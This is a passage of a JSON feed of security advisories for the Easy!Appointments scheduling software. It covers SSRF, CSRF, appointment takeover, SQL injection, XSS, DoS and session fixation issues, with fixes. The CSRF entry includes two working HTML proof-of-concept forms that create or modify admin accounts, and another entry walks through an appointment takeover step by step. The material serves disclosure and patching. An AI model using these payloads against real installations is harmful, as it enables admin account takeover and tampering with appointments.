constructing the Guzzle client.\n\n```diff\n         $caldav_url = request('caldav_url');\n+\n+        $scheme = parse_url($caldav_url, PHP_URL_SCHEME);\n+        $host   = parse_url($caldav_url, PHP_URL_HOST) ?: '';\n+        $ip     = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);\n+\n+        if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host\n+            || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n+            throw new InvalidArgumentException('CalDAV URL is not allowed.');\n+        }\n+\n         $caldav_username = request('caldav_username');\n         $caldav_password = request('caldav_password');\n\n         $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password);\n```\n\n### Credit\n\nDredsen, 2026.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-07-29T16:24:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q","https://nvd.nist.gov/vuln/detail/CVE-2026-52840","https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510","https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c","https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9","https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536","https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","https://github.com/advisories/GHSA-pm5p-7w5h-jm5q"],"source_kind":"github","identifiers":["GHSA-pm5p-7w5h-jm5q","CVE-2026-52840"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T17:00:08.925Z","updated_at":"2026-10-12T08:02:15.751Z","epss_percentage":0.00311,"epss_percentile":0.21525,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbTVwLTd3NWgtam01cc4ABgsE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbTVwLTd3NWgtam01cc4ABgsE","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.5.2"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbTVwLTd3NWgtam01cc4ABgsE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00dm1tLTVxdmMtdzVwN84ABgsD","url":"https://github.com/advisories/GHSA-4vmm-5qvc-w5p7","title":"Easy!Appointments Vulnerable to Appointments Takeover via Excessive Data Exposure","description":"### Summary\nAn Excessive Data Exposure vulnerability in the customers search endpoint allows an authenticated user to obtain appointment hashes belonging to other users.\nUsing these hashes, an attacker can modify or delete appointments of other providers, resulting in an Appointments Takeover.\n\n### Details\nThe customers search endpoint exposes excessive information, including appointment hashes, to any authenticated user without proper authorization checks.\nThese hashes uniquely identify appointments that do not belong to the searching user.\n\nBy reusing the obtained hashes, an attacker can interact with appointment management endpoints, allowing the modification or deletion of third-party appointments.\n\nThe lack of object-level authorization controls leads to an Appointments Takeover, impacting data confidentiality and integrity.\n\n### Impact\nThis vulnerability allows an authenticated user to take control of appointments belonging to other users. By obtaining and reusing the exposed hashes, an attacker can view, modify, or delete appointments of other providers, compromising data integrity and confidentiality. This may result in unauthorized appointment cancellations or modifications, operational disruption of the service.\n\n### PoC\n1. Let's start by viewing an appointment with the provider “Jane Doe.”\n\n\u003cimg width=\"1912\" height=\"880\" alt=\"image\" src=\"https://github.com/user-attachments/assets/57bc0094-6e7f-4ccc-bde4-5604acd1debd\" /\u003e\n\n2. Now, with the provider “test test” (another provider), let's send the request to /customers/search, where we can verify that the customer “Joe Shmoe” is on the list. This makes it possible to extract the hash of the appointment associated with the user Jane Doe, because the response is returning excessive data.\n\n\u003cimg width=\"579\" height=\"647\" alt=\"image\" src=\"https://github.com/user-attachments/assets/67897f21-d5a6-4edc-bed7-75c23465290b\" /\u003e\n\n3. With this hash, we then go to the endpoint /calendar/reschedule/{hash} with the provider “test test,” where we can check some information about the appointment.\n\n\u003cimg width=\"1486\" height=\"917\" alt=\"image\" src=\"https://github.com/user-attachments/assets/29b1c20c-e2a8-483e-bd4d-749fb5de497f\" /\u003e\n\n4. By changing the provider to “test test,” it is possible to change the appointment provider.\n\n\u003cimg width=\"966\" height=\"982\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cfa17cb2-12ac-4034-aae2-1a626d4d0f9c\" /\u003e\n\n5. By saving, we can verify that the appointment is now in the “test test” provider, thus disappearing from the “John Doe” provider calendar.\n\nProvider \"test test\" Calendar:\n\n\u003cimg width=\"1916\" height=\"879\" alt=\"image\" src=\"https://github.com/user-attachments/assets/77b9e11a-860f-4c08-847e-fa95c064710d\" /\u003e\n\nProvider \"John Doe\" Calendar:\n\n\u003cimg width=\"1917\" height=\"880\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d39566f5-a58c-4337-a781-0886faa83c12\" /\u003e\n\n5.1. Since we have takeover the appointment, it is possible to cancel/delete it.\n\n\u003cimg width=\"1486\" height=\"736\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2a87b9d0-1726-4fdc-af72-7ae9e20cc050\" /\u003e\n\n\u003cimg width=\"290\" height=\"867\" alt=\"image\" src=\"https://github.com/user-attachments/assets/815b1df6-dfd4-437a-a2bd-e9b61832d5b0\" /\u003e\n\n### Recommendation\nWhen making the POST request to the /customers/search endpoint, only return appointments that belong to the provider sending the request. This way, the provider does not have access to the random hash and cannot perform the takeover.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-29T16:22:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-4vmm-5qvc-w5p7","https://nvd.nist.gov/vuln/detail/CVE-2026-55651","https://github.com/alextselegidis/easyappointments/commit/ebbe41130dafa58b0716426c56c8cfd4c22dbceb","https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","https://github.com/advisories/GHSA-4vmm-5qvc-w5p7"],"source_kind":"github","identifiers":["GHSA-4vmm-5qvc-w5p7","CVE-2026-55651"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T17:00:08.925Z","updated_at":"2026-10-12T08:02:15.752Z","epss_percentage":0.00318,"epss_percentile":0.22588,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dm1tLTVxdmMtdzVwN84ABgsD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00dm1tLTVxdmMtdzVwN84ABgsD","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"= 1.5.2"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dm1tLTVxdmMtdzVwN84ABgsD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NHY0LTQ2ODUtdndyas4ABRIt","url":"https://github.com/advisories/GHSA-54v4-4685-vwrj","title":"alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass","description":"### Summary\n`application/core/EA_Security.php::csrf_verify()` only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover\n\n### Details\n\nin https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52\n\n* **Repository / tested commit:** `alextselegidis/easyappointments` — commit `41c9b93a5a2c185a914f204412324d8980943fd5`.\n* **Vulnerable file \u0026 function:** `application/core/EA_Security.php::csrf_verify()` — around line 52. Link: `.../application/core/EA_Security.php#L52`.\n* **Root cause:** The function early-returns when the request is not `POST`:\n\n```php\n// vulnerable snippet\nif (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {\n    return $this-\u003ecsrf_set_cookie();\n}\n```\n\nBecause of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via `GET` or `$_REQUEST`, these requests bypass CSRF checks entirely and the application executes the state change.\n\n* **Examples of vulnerable endpoints (observed during testing):**\n\n  * `index.php/admins/store` — create admin (accepts fields via GET)\n  * `index.php/admins/update` — modify admin (accepts fields via GET)\n  * `index.php/account/save` — modify account/password (accepts fields via GET)\n\n* **Why this is critical:** An attacker can host a simple page that issues requests (e.g., `\u003cform method=\"GET\" action=\"...\"\u003e` or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.\n\n\n### PoC\nI will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally \n\nhttps://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1\n\n**Browser PoC (HTML)**\nSave one of the HTML files (example `csrf_add_admin_account.html`) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"GET\" action=\"http://localhost:80/easyappointments/index.php/admins/store\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[first_name]\" value=\"admin_add_by_csrf\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[last_name]\" value=\"poc\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[email]\" value=\"poc@gmail.com\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[mobile_number]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[phone_number]\" value=\"0923092\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[address]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[city]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[state]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[zip_code]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[notes]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[language]\" value=\"english\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[timezone]\" value=\"UTC\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][username]\" value=\"admincsrf1\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][notifications]\" value=\"1\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][calendar_view]\" value=\"table\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][password]\" value=\"changeme\"\u003e\n  \u003cinput type=\"submit\" value=\"Submit request\"\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nanother example for another endpoint\n\n`csrf_change_admin_email.html`\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"GET\" action=\"http://localhost:80/easyappointments/index.php/admins/update\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[first_name]\" value=\"test\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[last_name]\" value=\"cve\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[email]\" value=\"test1@cve.com\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[mobile_number]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[phone_number]\" value=\"0101900\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[address]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[city]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[state]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[zip_code]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[notes]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[language]\" value=\"english\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[timezone]\" value=\"UTC\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][username]\" value=\"testn\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][notifications]\" value=\"1\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][calendar_view]\" value=\"default\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[id]\" value=\"1\"\u003e\n  \u003cinput type=\"submit\" value=\"Submit request\"\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Suggested remediation (recommended)\n\nProvide two practical remediation paths mmediate and long-term:\n\n**Immediate (urgent, low-effort):** Enforce CSRF checks for all  methods  and do not skip validation for non-POST. Minimal core fix:\n\nThis closes the common bypass route while keeping read-only GET behavior intact.\n\n**Stricter immediate option (no-bypass):** Require a valid CSRF token for **all** methods (including GET) unless the URI is explicitly whitelisted in `csrf_exclude_uris`. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.\n\n**Long-term (recommended, correct fix):**\n\n1. **Controller hardening:** Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .\n2. **Require re-authentication or confirmation** for critical operations (email/password changes).\n3. **Set cookie flags**: `SameSite`, `Secure`, and `HttpOnly` as appropriate.\n\n\n### Impact\n\n* **Type:** Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.\n* **Who is impacted:** Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use `$_REQUEST` (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.\n* **Consequences:** An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-15T20:11:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj","https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52","https://nvd.nist.gov/vuln/detail/CVE-2026-23622","https://github.com/advisories/GHSA-54v4-4685-vwrj"],"source_kind":"github","identifiers":["GHSA-54v4-4685-vwrj","CVE-2026-23622"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-15T21:00:08.106Z","updated_at":"2026-10-12T12:08:00.385Z","epss_percentage":0.00231,"epss_percentile":0.12795,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NHY0LTQ2ODUtdndyas4ABRIt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NHY0LTQ2ODUtdndyas4ABRIt","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.5.2"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NHY0LTQ2ODUtdndyas4ABRIt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yZjI4LTY5ajctODVoZs4ABLat","url":"https://github.com/advisories/GHSA-2f28-69j7-85hf","title":"Easy!Appointments SQL injection vulnerability","description":"alextselegidis Easy!Appointments v1.5.1 was discovered to contain a SQL injection vulnerability via the order_by parameter.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-08-26T00:31:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-50383","https://github.com/Abdullah4eb/CVE-2025-50383","https://easyappointments.org","https://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e","https://github.com/alextselegidis/easyappointments/releases/tag/1.5.2-beta.1","https://github.com/advisories/GHSA-2f28-69j7-85hf"],"source_kind":"github","identifiers":["GHSA-2f28-69j7-85hf","CVE-2025-50383"],"repository_url":"https://github.com/Abdullah4eb/CVE-2025-50383","blast_radius":1.0,"created_at":"2025-08-26T22:08:44.738Z","updated_at":"2026-10-16T06:06:46.731Z","epss_percentage":0.00365,"epss_percentile":0.28665,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yZjI4LTY5ajctODVoZs4ABLat","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yZjI4LTY5ajctODVoZs4ABLat","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":"1.5.2-beta.1","vulnerable_version_range":"\u003c 1.5.2-beta.1"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yZjI4LTY5ajctODVoZs4ABLat/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oY2p2LTk4MmMtNWYyOc4ABHkq","url":"https://github.com/advisories/GHSA-hcjv-982c-5f29","title":"Easy!Appointments Denial of Service (DoS)","description":"Booking logic flaw in Easy!Appointments v1.5.1 allows unauthenticated attackers to create appointments with excessively long durations, causing a denial of service by blocking all future booking availability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-05-07T15:31:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-29448","https://github.com/Abdullah4eb/CVE-2025-29448","https://github.com/alextselegidis/easyappointments/commit/74633b60f28bdef3cc9f905c0599cef121fee32b","https://github.com/advisories/GHSA-hcjv-982c-5f29"],"source_kind":"github","identifiers":["GHSA-hcjv-982c-5f29","CVE-2025-29448"],"repository_url":"https://github.com/Abdullah4eb/CVE-2025-29448","blast_radius":1.0,"created_at":"2025-05-07T19:09:06.610Z","updated_at":"2026-10-12T12:10:39.522Z","epss_percentage":0.0058,"epss_percentile":0.45774,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY2p2LTk4MmMtNWYyOc4ABHkq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oY2p2LTk4MmMtNWYyOc4ABHkq","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.5.1"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY2p2LTk4MmMtNWYyOc4ABHkq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04ZmMyLWZoaDYtZjZtNc4ABEbW","url":"https://github.com/advisories/GHSA-8fc2-fhh6-f6m5","title":"Easy!Appointments Improper Restriction of Excessive Authentication Attempts ","description":"An issue in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to escalate privileges via the index.php file.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-02-13T00:33:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-57602","https://hkohi.ca/vulnerability/12","https://github.com/advisories/GHSA-8fc2-fhh6-f6m5"],"source_kind":"github","identifiers":["GHSA-8fc2-fhh6-f6m5","CVE-2024-57602"],"repository_url":null,"blast_radius":1.0,"created_at":"2025-02-24T20:07:52.223Z","updated_at":"2026-10-16T06:07:52.380Z","epss_percentage":0.00831,"epss_percentile":0.56651,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZmMyLWZoaDYtZjZtNc4ABEbW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04ZmMyLWZoaDYtZjZtNc4ABEbW","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.5.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZmMyLWZoaDYtZjZtNc4ABEbW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zd2Y3LTgzcTMtOTQ4Y84ABEbM","url":"https://github.com/advisories/GHSA-3wf7-83q3-948c","title":"Remote code execution in alextselegidis/easyappointments","description":"Cross Site Scripting vulnerability in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to execute arbitrary code via the legal_settings parameter.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-02-13T00:33:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-57601","https://hkohi.ca/vulnerability/13","https://github.com/advisories/GHSA-3wf7-83q3-948c"],"source_kind":"github","identifiers":["GHSA-3wf7-83q3-948c","CVE-2024-57601"],"repository_url":null,"blast_radius":1.0,"created_at":"2025-02-14T21:07:43.141Z","updated_at":"2026-10-16T06:07:53.814Z","epss_percentage":0.00516,"epss_percentile":0.42502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd2Y3LTgzcTMtOTQ4Y84ABEbM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zd2Y3LTgzcTMtOTQ4Y84ABEbM","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.5.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd2Y3LTgzcTMtOTQ4Y84ABEbM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04YzZxLTI2dzYtcXdoZ84AA0u3","url":"https://github.com/advisories/GHSA-8c6q-26w6-qwhg","title":"Easy!Appointments Improper Access Control vulnerability","description":"Easy!Appointments 1.4.3 and prior has an Improper Access Control vulnerability. This issue is patched at commit b37b46019553089db4f22eb2fe998bca84b2cb64 and anticipated to be part of version 1.5.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-07-17T09:30:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-3700","https://github.com/alextselegidis/easyappointments/commit/b37b46019553089db4f22eb2fe998bca84b2cb64","https://huntr.dev/bounties/e8d530db-a6a7-4f79-a95d-b77654cc04f8","https://github.com/advisories/GHSA-8c6q-26w6-qwhg"],"source_kind":"github","identifiers":["GHSA-8c6q-26w6-qwhg","CVE-2023-3700"],"repository_url":"https://github.com/alextselegidis/easyappointments","blast_radius":1.0,"created_at":"2023-07-17T15:04:10.022Z","updated_at":"2026-10-12T12:19:54.896Z","epss_percentage":0.00444,"epss_percentile":0.36524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzZxLTI2dzYtcXdoZ84AA0u3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04YzZxLTI2dzYtcXdoZ84AA0u3","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":"1.5.0","vulnerable_version_range":"\u003c= 1.4.3"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzZxLTI2dzYtcXdoZ84AA0u3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNnFxLTk5MzktOWp2OM4AAyzI","url":"https://github.com/advisories/GHSA-j6qq-9939-9jv8","title":"alextselegidis/easyappointments vulnerable to Stored Cross-site Scripting","description":"alextselegidis/easyappointments is vulnerable to stored cross-site scripting in versions 1.4.3 and prior. A patch is available at commit bddc5cbeb7ff237a72943b304dcb01c653781767 and anticipated to be part of version 1.5.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-04-15T15:30:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-2102","https://github.com/alextselegidis/easyappointments/commit/bddc5cbeb7ff237a72943b304dcb01c653781767","https://huntr.dev/bounties/dd7c04a7-a984-4387-9ac4-24596e7ece44","https://github.com/advisories/GHSA-j6qq-9939-9jv8"],"source_kind":"github","identifiers":["GHSA-j6qq-9939-9jv8","CVE-2023-2102"],"repository_url":"https://github.com/alextselegidis/easyappointments","blast_radius":1.0,"created_at":"2023-04-21T21:03:18.864Z","updated_at":"2026-10-16T17:21:15.173Z","epss_percentage":0.00503,"epss_percentile":0.41527,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNnFxLTk5MzktOWp2OM4AAyzI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNnFxLTk5MzktOWp2OM4AAyzI","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.4.3"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":0,"downloads":396,"downloads_period":"total"},"affected_versions":["1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.1","1.2.0","1.2.0-alpha.1","1.2.0-beta.1","1.2.1","1.3.0","1.3.0-alpha.1","1.3.0-beta.1","1.3.0-beta.2","1.3.1","1.3.1-beta.1","1.3.2","1.3.2-beta.1","1.4.0","1.4.0-beta.1","1.4.1","1.4.2","1.4.2-beta.1","1.4.3","1.4.3-beta.1"],"unaffected_versions":["1.5.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNnFxLTk5MzktOWp2OM4AAyzI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03bThyLWdtYzMtM3A0ds4AAyzD","url":"https://github.com/advisories/GHSA-7m8r-gmc3-3p4v","title":"alextselegidis/easyappointments vulnerable to Stored Cross-site Scripting","description":"alextselegidis/easyappointments is vulnerable to stored cross-site scripting in versions 1.4.3 and prior. A patch is available at commit 46a865300e94c7031cc0e315d95d3e3e56768498 and anticipated to be part of version 1.5.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-04-15T15:30:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-2103","https://github.com/alextselegidis/easyappointments/commit/46a865300e94c7031cc0e315d95d3e3e56768498","https://huntr.dev/bounties/1df09505-9923-43b9-82ef-15d94bc3f9dc","https://github.com/advisories/GHSA-7m8r-gmc3-3p4v"],"source_kind":"github","identifiers":["GHSA-7m8r-gmc3-3p4v","CVE-2023-2103"],"repository_url":"https://github.com/alextselegidis/easyappointments","blast_radius":1.0,"created_at":"2023-04-24T19:03:21.795Z","updated_at":"2026-10-16T17:21:15.169Z","epss_percentage":0.00475,"epss_percentile":0.39547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03bThyLWdtYzMtM3A0ds4AAyzD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03bThyLWdtYzMtM3A0ds4AAyzD","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.4.3"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":0,"downloads":396,"downloads_period":"total"},"affected_versions":["1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.1","1.2.0","1.2.0-alpha.1","1.2.0-beta.1","1.2.1","1.3.0","1.3.0-alpha.1","1.3.0-beta.1","1.3.0-beta.2","1.3.1","1.3.1-beta.1","1.3.2","1.3.2-beta.1","1.4.0","1.4.0-beta.1","1.4.1","1.4.2","1.4.2-beta.1","1.4.3","1.4.3-beta.1"],"unaffected_versions":["1.5.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03bThyLWdtYzMtM3A0ds4AAyzD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cW1tLWN2NHItcWZyNM4AAyzC","url":"https://github.com/advisories/GHSA-4qmm-cv4r-qfr4","title":"alextselegidis/easyappointments Session Fixation vulnerability","description":"alextselegidis/easyappointments is vulnerable to session fixation. The application does not generate a new `ea_session` cookie after the user authenticates. A malicious user may create a new session cookie value and inject it to a victim. After the victim logs in, the injected cookie becomes valid, giving the attacker access to the user's account through the active session. If an attacker conducts this attack against an admin user, the attacker may escalate their privileges with the admin user being unaware.\n\nThis issue is patched in commit 7f37350fab9d729a9350d96369ff0f453cf7b840 and 